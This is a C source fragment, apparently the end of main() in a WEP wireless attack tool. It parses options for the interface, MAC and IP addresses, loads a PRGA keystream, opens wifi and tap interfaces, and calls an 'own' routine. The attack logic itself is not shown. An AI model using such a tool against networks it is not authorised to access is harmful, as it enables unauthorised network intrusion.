				strncpy(es->es_ifname, optarg, sizeof(es->es_ifname) - 1);
				es->es_ifname[sizeof(es->es_ifname) - 1] = 0;
				break;

			case 'v':
				if (str2mac(es->es_apmac, optarg) == -1)
				{
					printf("Can't parse AP mac\n");
					exit(EXIT_FAILURE);
				}
				break;

			case 'm':
				if (str2mac(es->es_mymac, optarg) == -1)
				{
					printf("Can't parse my mac\n");
					exit(EXIT_FAILURE);
				}
				es->es_setmac = 1;
				break;

			case 'i':
				if (!inet_aton(optarg, &es->es_myip))
				{
					printf("Can't parse my ip\n");
					exit(EXIT_FAILURE);
				}
				break;

			case 'r':
				if (!inet_aton(optarg, &es->es_rtrip))
				{
					printf("Can't parse rtr ip\n");
					exit(EXIT_FAILURE);
				}
				break;

			case 's':
				if (!inet_aton(optarg, &es->es_srvip))
				{
					printf("Can't parse srv ip\n");
					exit(EXIT_FAILURE);
				}
				break;

			case 'n':
				es->es_iponly = 1;
				break;

			case 'h':
			default:
				usage(argv[0]);
				exit(EXIT_SUCCESS);
		}
	}

	if (es->es_srvip.s_addr == 0)
	{
		printf("Need at least server IP\n");
		usage(argv[0]);
		exit(EXIT_FAILURE);
	}

	load_prga(es);
	open_wifi(es);
	open_tap(es);
	set_mac(es);
	if (es->es_chanlock) set_chan(es);

	if (signal(SIGINT, sighand) == SIG_ERR) err(1, "signal(SIGINT)");
	if (signal(SIGTERM, sighand) == SIG_ERR) err(1, "signal(SIGTERM)");

	printf_time("Ownin...\n");
	own(es);

	die("the end");
	exit(EXIT_SUCCESS);
}
